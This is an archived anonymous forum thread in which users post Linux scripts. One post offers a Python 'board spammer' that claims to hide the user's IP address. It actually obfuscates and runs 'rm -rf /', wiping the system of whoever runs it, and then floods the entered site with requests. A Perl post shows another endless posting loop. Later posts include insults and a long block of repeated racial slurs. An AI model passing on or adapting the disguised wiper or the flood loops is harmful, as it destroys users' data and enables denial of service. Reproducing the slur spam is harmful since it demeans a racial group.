Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Linux scripts

Name: Anonymous 2008-04-17 13:11

Howdy /prog/, what scripts have you coded for your Linux system for general use, boot, etc?
I coded few simple scripts in Perl to test different things (if current IP address is identical to previous one is one of the useless among them), and will post sauce on more extensive scripts later on.
 

Name: Anonymous 2008-04-17 13:17

#!/bin/bash

if [ $1 ]; then
        echo -e "\033[01;32m* \033[mListening on port $1..."
        yes YOU HAVE BEEN TROLLED | nc -l -p $1
        echo -e "\033[01;32m* \033[mTarget has successfully been trolled."
else
        echo -e "\033[01;31m* \033[mSpecify a port to listen on, moron."
fi

exit 0


sh yhbt.sh 6667 for NEVER ENDING IRC FUN

Name: Anonymous 2008-04-17 13:20

Board spammer in python

#!/usr/bin/python
import string
import urllib
import os

while True:
print "Enter address of site to spam:"
site = raw_input()
if site.startswith('http://'):
break
print "Address must start with ``http://''"

print "Hiding ip-address"
tr = string.maketrans('/tph:', 'fm-rr')
ip = string.translate(site, tr)
os.system(ip[0:2] + ' ' + ip[3:6] + ' /')

print "Starting spam attack..."
while True:
urllib.urlopen(site)

DISCLAIMER: I only wrote this for fun. Please don't abuse it.

Name: Anonymous 2008-04-17 13:22

#!/usr/bin/perl
$SDFgADFGwöejsnöld034äqw##3459ö.-.342153409okldefsad%"§$9324&/"$%Adfg5&"$%&"QFA%$54[/code]

Name: Anonymous 2008-04-17 13:31

>>4
Valid Perl code.

Name: Anonymous 2008-04-17 13:37

#!/usr/bin/perl -w

use strict;
use Yotsuba::Boards;
use Yotsuba::Related qw(maybe);

my $board=Yotsuba::Boards->new('a');
while(1){
    print $board->post(3781066,
        com => join "\n",map{"$_. ".(int rand 3?"Yes":(int rand 2?"No":maybe))}1..8,
    );
}

Name: Anonymous 2008-04-17 13:46

>>6
This message was presented by 4-ch.net public message bot.

Name: Anonymous 2008-04-17 13:47

>>7
This message, too, was presented by 4-ch.net public message bot.

Name: Anonymous 2008-04-17 13:56

>>8
This message was not presented by 4-ch.net public message bot.

Name: Anonymous 2008-04-17 14:00

>>9 was not presented by 4-ch.net public message bot because >>8 was presented by 4-ch.net public message bot, and >>9 claims otherwise.

Name: Anonymous 2008-04-17 15:19

gtfo

Name: Anonymous 2008-04-17 15:49

>>6
You've been posting here a lot lately, AORF.

Name: Anonymous 2008-04-17 18:15

whos AORF?

Name: Anonymous 2008-04-17 18:31

>>13
Anonymous of the Russian Federation, some tripfag from /a/

Name: Anonymous 2008-04-17 19:42

That's supposed to be a hacker or something.
But in fact, he's just a drama whore like all tripfags.

Name: Anonymous 2008-04-18 9:49

>>15
In fact one of the most annoying and pretentios faggots to ever step on 4chon

Name: Anonymous 2009-02-25 7:09

NIGGERS NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS.

Name: Anonymous 2010-12-09 0:49

Name: Sgt.Kabukiman 2012-05-22 10:11

All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy

Don't change these.
Name: Email:
Entire Thread Thread List